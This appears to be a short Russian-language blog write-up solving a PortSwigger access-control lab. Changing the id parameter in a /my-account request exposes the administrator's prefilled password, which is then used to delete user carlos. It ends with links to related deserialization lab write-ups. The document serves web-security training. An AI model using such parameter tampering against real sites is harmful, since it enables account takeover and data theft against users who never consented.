На странице
apsyleg1 мин
#portswigger #access-control #web-security
ID пользователя контролируется параметром запроса с раскрытием пароля
Лаборатория
User ID controlled by request parameter with password disclosure · Apprentice
Решение
Дано
This lab has user account page that contains the current user's existing password, prefilled in a masked input.
To solve the lab, retrieve the administrator's password, then use it to delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
Анализ задания
На сайте есть страница, которая отображает пароль пользователя. Нужно найти администратора и добыть его пароль. Далее удалить пользователя carlos.
Разведка
Логинимся на сайте:
GET /my-account?id=wiener
Да, есть пароль в ответе.
Для администратора:
GET /my-account?id=administrator
<input required type=password name=password value='5b8q4c801sij55bvvtfx'/>
Логинимся administrator / 5b8q4c801sij55bvvtfx. Удаляем пользователя. Лаба решена.
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.